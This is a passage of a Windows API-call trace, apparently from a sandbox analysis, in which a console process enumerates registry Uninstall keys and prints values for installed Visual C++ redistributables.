lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.434] GetConsoleOutputCP () returned 0x1b5 [0148.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.434] __iob_func () returned 0x7fefd702a80 [0148.434] _fileno (_File=0x7fefd702ab0) returned 1 [0148.434] _errno () returned 0xc4bb0 [0148.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.434] _errno () returned 0xc4bb0 [0148.434] GetFileType (hFile=0x50) returned 0x1 [0148.434] lstrlenW (lpString=" ") returned 4 [0148.434] GetConsoleOutputCP () returned 0x1b5 [0148.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.434] GetConsoleOutputCP () returned 0x1b5 [0148.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.434] __iob_func () returned 0x7fefd702a80 [0148.434] _fileno (_File=0x7fefd702ab0) returned 1 [0148.434] _errno () returned 0xc4bb0 [0148.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.435] _errno () returned 0xc4bb0 [0148.435] GetFileType (hFile=0x50) returned 0x1 [0148.435] lstrlenW (lpString="REG_SZ") returned 6 [0148.435] GetConsoleOutputCP () returned 0x1b5 [0148.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.435] GetConsoleOutputCP () returned 0x1b5 [0148.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.435] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.435] __iob_func () returned 0x7fefd702a80 [0148.435] _fileno (_File=0x7fefd702ab0) returned 1 [0148.435] _errno () returned 0xc4bb0 [0148.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.435] _errno () returned 0xc4bb0 [0148.435] GetFileType (hFile=0x50) returned 0x1 [0148.435] lstrlenW (lpString=" ") returned 4 [0148.435] GetConsoleOutputCP () returned 0x1b5 [0148.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.435] GetConsoleOutputCP () returned 0x1b5 [0148.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.436] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.436] __iob_func () returned 0x7fefd702a80 [0148.436] _fileno (_File=0x7fefd702ab0) returned 1 [0148.436] _errno () returned 0xc4bb0 [0148.436] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.436] _errno () returned 0xc4bb0 [0148.436] GetFileType (hFile=0x50) returned 0x1 [0148.436] lstrlenW (lpString="Microsoft Visual C++ 2005 Redistributable (x64)") returned 47 [0148.436] GetConsoleOutputCP () returned 0x1b5 [0148.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2005 Redistributable (x64)", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0148.436] GetConsoleOutputCP () returned 0x1b5 [0148.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2005 Redistributable (x64)", cchWideChar=47, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2005 Redistributable (x64)", lpUsedDefaultChar=0x0) returned 47 [0148.436] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 47 [0148.436] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.436] __iob_func () returned 0x7fefd702a80 [0148.436] _fileno (_File=0x7fefd702ab0) returned 1 [0148.436] _errno () returned 0xc4bb0 [0148.436] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.436] _errno () returned 0xc4bb0 [0148.436] GetFileType (hFile=0x50) returned 0x1 [0148.436] lstrlenW (lpString="\n") returned 1 [0148.436] GetConsoleOutputCP () returned 0x1b5 [0148.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.436] GetConsoleOutputCP () returned 0x1b5 [0148.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.437] GetProcessHeap () returned 0x2e0000 [0148.437] GetProcessHeap () returned 0x2e0000 [0148.437] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.437] GetProcessHeap () returned 0x2e0000 [0148.437] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x64 [0148.437] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.437] __iob_func () returned 0x7fefd702a80 [0148.437] _fileno (_File=0x7fefd702ab0) returned 1 [0148.437] _errno () returned 0xc4bb0 [0148.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.437] _errno () returned 0xc4bb0 [0148.437] GetFileType (hFile=0x50) returned 0x1 [0148.437] lstrlenW (lpString="\n") returned 1 [0148.437] GetConsoleOutputCP () returned 0x1b5 [0148.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.437] GetConsoleOutputCP () returned 0x1b5 [0148.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.438] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.438] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.438] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 109 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.438] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.438] GetProcessHeap () returned 0x2e0000 [0148.438] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.438] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.438] RegCloseKey (hKey=0x5c) returned 0x0 [0148.438] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1d, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.438] __iob_func () returned 0x7fefd702a80 [0148.438] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.438] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\n") returned 110 [0148.438] _fileno (_File=0x7fefd702ab0) returned 1 [0148.438] _errno () returned 0xc4bb0 [0148.438] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.438] _errno () returned 0xc4bb0 [0148.438] GetFileType (hFile=0x50) returned 0x1 [0148.438] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\n") returned 110 [0148.438] GetConsoleOutputCP () returned 0x1b5 [0148.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0148.439] GetConsoleOutputCP () returned 0x1b5 [0148.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\n", lpUsedDefaultChar=0x0) returned 110 [0148.439] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0148.439] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.439] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.439] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.439] GetProcessHeap () returned 0x2e0000 [0148.439] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0148.439] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.439] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.439] GetProcessHeap () returned 0x2e0000 [0148.439] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.439] GetProcessHeap () returned 0x2e0000 [0148.439] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.439] GetProcessHeap () returned 0x2e0000 [0148.439] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.439] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.439] __iob_func () returned 0x7fefd702a80 [0148.439] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.439] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.439] _fileno (_File=0x7fefd702ab0) returned 1 [0148.439] _errno () returned 0xc4bb0 [0148.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.440] _errno () returned 0xc4bb0 [0148.440] GetFileType (hFile=0x50) returned 0x1 [0148.440] lstrlenW (lpString=" ") returned 4 [0148.440] GetConsoleOutputCP () returned 0x1b5 [0148.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.440] GetConsoleOutputCP () returned 0x1b5 [0148.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.440] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.440] __iob_func () returned 0x7fefd702a80 [0148.440] _fileno (_File=0x7fefd702ab0) returned 1 [0148.440] _errno () returned 0xc4bb0 [0148.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.440] _errno () returned 0xc4bb0 [0148.440] GetFileType (hFile=0x50) returned 0x1 [0148.440] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.440] GetConsoleOutputCP () returned 0x1b5 [0148.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0148.440] GetConsoleOutputCP () returned 0x1b5 [0148.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0148.441] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0148.441] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.441] __iob_func () returned 0x7fefd702a80 [0148.441] _fileno (_File=0x7fefd702ab0) returned 1 [0148.441] _errno () returned 0xc4bb0 [0148.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.441] _errno () returned 0xc4bb0 [0148.441] GetFileType (hFile=0x50) returned 0x1 [0148.441] lstrlenW (lpString=" ") returned 4 [0148.441] GetConsoleOutputCP () returned 0x1b5 [0148.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.441] GetConsoleOutputCP () returned 0x1b5 [0148.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.441] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.441] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.441] __iob_func () returned 0x7fefd702a80 [0148.441] _fileno (_File=0x7fefd702ab0) returned 1 [0148.441] _errno () returned 0xc4bb0 [0148.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.441] _errno () returned 0xc4bb0 [0148.442] GetFileType (hFile=0x50) returned 0x1 [0148.442] lstrlenW (lpString="REG_SZ") returned 6 [0148.442] GetConsoleOutputCP () returned 0x1b5 [0148.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.442] GetConsoleOutputCP () returned 0x1b5 [0148.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.442] __iob_func () returned 0x7fefd702a80 [0148.442] _fileno (_File=0x7fefd702ab0) returned 1 [0148.442] _errno () returned 0xc4bb0 [0148.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.442] _errno () returned 0xc4bb0 [0148.442] GetFileType (hFile=0x50) returned 0x1 [0148.442] lstrlenW (lpString=" ") returned 4 [0148.442] GetConsoleOutputCP () returned 0x1b5 [0148.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.442] GetConsoleOutputCP () returned 0x1b5 [0148.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.443] __iob_func () returned 0x7fefd702a80 [0148.443] _fileno (_File=0x7fefd702ab0) returned 1 [0148.443] _errno () returned 0xc4bb0 [0148.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.443] _errno () returned 0xc4bb0 [0148.443] GetFileType (hFile=0x50) returned 0x1 [0148.443] lstrlenW (lpString="") returned 0 [0148.443] __iob_func () returned 0x7fefd702a80 [0148.443] _fileno (_File=0x7fefd702ab0) returned 1 [0148.443] _errno () returned 0xc4bb0 [0148.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.443] _errno () returned 0xc4bb0 [0148.443] GetFileType (hFile=0x50) returned 0x1 [0148.443] lstrlenW (lpString="\n") returned 1 [0148.443] GetConsoleOutputCP () returned 0x1b5 [0148.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.443] GetConsoleOutputCP () returned 0x1b5 [0148.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.443] GetProcessHeap () returned 0x2e0000 [0148.443] GetProcessHeap () returned 0x2e0000 [0148.443] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.443] GetProcessHeap () returned 0x2e0000 [0148.443] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.443] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.444] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.444] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0148.444] GetProcessHeap () returned 0x2e0000 [0148.444] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x302970 [0148.444] GetProcessHeap () returned 0x2e0000 [0148.444] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.444] GetProcessHeap () returned 0x2e0000 [0148.444] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.444] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0148.444] __iob_func () returned 0x7fefd702a80 [0148.444] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.444] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.444] _fileno (_File=0x7fefd702ab0) returned 1 [0148.444] _errno () returned 0xc4bb0 [0148.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.444] _errno () returned 0xc4bb0 [0148.444] GetFileType (hFile=0x50) returned 0x1 [0148.444] lstrlenW (lpString=" ") returned 4 [0148.444] GetConsoleOutputCP () returned 0x1b5 [0148.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.444] GetConsoleOutputCP () returned 0x1b5 [0148.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.444] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.444] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.444] lstrlenW (lpString="Comments") returned 8 [0148.444] __iob_func () returned 0x7fefd702a80 [0148.445] _fileno (_File=0x7fefd702ab0) returned 1 [0148.445] _errno () returned 0xc4bb0 [0148.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.445] _errno () returned 0xc4bb0 [0148.445] GetFileType (hFile=0x50) returned 0x1 [0148.445] lstrlenW (lpString="Comments") returned 8 [0148.445] GetConsoleOutputCP () returned 0x1b5 [0148.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 